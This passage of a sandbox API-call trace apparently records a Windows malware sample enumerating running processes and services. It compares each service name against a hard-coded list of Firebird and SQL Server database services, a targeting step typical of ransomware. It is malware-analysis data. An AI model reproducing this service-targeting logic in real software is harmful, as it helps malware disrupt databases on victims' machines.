szExeFile="movers-indication.exe")) returned 1 [0158.505] lstrlenW (lpString="movers-indication.exe") returned 21 [0158.505] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0158.505] lstrlenW (lpString="drama tv thee.exe") returned 17 [0158.505] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0158.506] lstrlenW (lpString="barriers.exe") returned 12 [0158.506] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0158.507] lstrlenW (lpString="shootclick.exe") returned 14 [0158.507] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0158.508] lstrlenW (lpString="nickel.exe") returned 10 [0158.508] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0158.508] lstrlenW (lpString="imperialopened.exe") returned 18 [0158.508] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0158.509] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0158.509] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0158.510] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0158.510] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0158.511] lstrlenW (lpString="perhapssentences.exe") returned 20 [0158.511] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.511] lstrlenW (lpString="dllhost.exe") returned 11 [0158.511] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.512] lstrlenW (lpString="svchost.exe") returned 11 [0158.512] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0158.513] lstrlenW (lpString="chrome64b.exe") returned 13 [0158.513] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0158.513] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0158.513] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.514] lstrlenW (lpString="conhost.exe") returned 11 [0158.514] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0158.515] lstrlenW (lpString="cmd.exe") returned 7 [0158.515] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.516] lstrlenW (lpString="conhost.exe") returned 11 [0158.516] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0158.516] CloseHandle (hObject=0x2e0) returned 1 [0158.516] Sleep (dwMilliseconds=0x1f4) [0159.247] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce938 [0159.247] EnumServicesStatusExW (in: hSCManager=0x7ce938, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0159.248] GetLastError () returned 0xea [0159.248] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e9780 [0159.248] EnumServicesStatusExW (in: hSCManager=0x7ce938, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e9780, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e9780, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0159.249] CloseServiceHandle (hSCObject=0x7ce938) returned 1 [0159.249] lstrlenW (lpString="Appinfo") returned 7 [0159.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.249] lstrlenW (lpString="AppXSvc") returned 7 [0159.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0159.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0159.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0159.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0159.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0159.249] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.249] lstrlenW (lpString="Audiosrv") returned 8 [0159.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0159.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0159.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0159.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0159.250] lstrlenW (lpString="BFE") returned 3 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.250] lstrlenW (lpString="BITS") returned 4 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0159.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0159.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0159.250] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0159.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0159.250] lstrlenW (lpString="CDPSvc") returned 6 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0159.250] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0159.250] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0159.250] lstrlenW (lpString="ClickToRunSvc") returned 13 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.250] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0159.250] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0159.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0159.250] lstrlenW (lpString="ClipSVC") returned 7 [0159.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0159.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0159.251] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0159.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0159.251] lstrlenW (lpString="CryptSvc") returned 8 [0159.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.251] lstrlenW (lpString="DcomLaunch") returned 10 [0159.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.251] lstrlenW (lpString="DeviceAssociationService") returned 24 [0159.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0159.251] lstrlenW (lpString="Dhcp") returned 4 [0159.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.252] lstrlenW (lpString="Dnscache") returned 8 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.252] lstrlenW (lpString="DoSvc") returned 5 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0159.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0159.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0159.252] lstrlenW (lpString="DPS") returned 3 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.252] lstrlenW (lpString="DusmSvc") returned 7 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.252] lstrlenW (lpString="EventLog") returned 8 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.252] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.252] lstrlenW (lpString="EventSystem") returned 11 [0159.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.252] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.253] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.253] lstrlenW (lpString="FontCache") returned 9 [0159.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0159.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0159.253] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0159.253] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0159.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0159.253] lstrlenW (lpString="gpsvc") returned 5 [0159.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.253] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.253] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.253] lstrlenW (lpString="iphlpsvc") returned 8 [0159.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.253] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.253] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.253] lstrlenW (lpString="KeyIso") returned 6 [0159.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.253] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.253] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0159.254] lstrlenW (lpString="LanmanServer") returned 12 [0159.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.254] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.305] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.305] lstrlenW (lpString="lfsvc") returned 5 [0159.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0159.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0159.305] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0159.305] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0159.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0159.305] lstrlenW (lpString="LicenseManager") returned 14 [0159.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0159.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0159.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0159.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0159.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0159.305] lstrlenW (lpString="lmhosts") returned 7 [0159.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.305] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.305] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.305] lstrlenW (lpString="LSM") returned 3 [0159.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0159.306] lstrlenW (lpString="MpsSvc") returned 6 [0159.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.306] lstrlenW (lpString="NcbService") returned 10 [0159.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0159.306] lstrlenW (lpString="netprofm") returned 8 [0159.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.306] lstrlenW (lpString="NlaSvc") returned 6 [0159.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.306] lstrlenW (lpString="nsi") returned 3 [0159.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.306] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.306] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.306] lstrlenW (lpString="PcaSvc") returned 6 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.307] lstrlenW (lpString="PlugPlay") returned 8 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.307] lstrlenW (lpString="Power") returned 5 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.307] lstrlenW (lpString="ProfSvc") returned 7 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.307] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 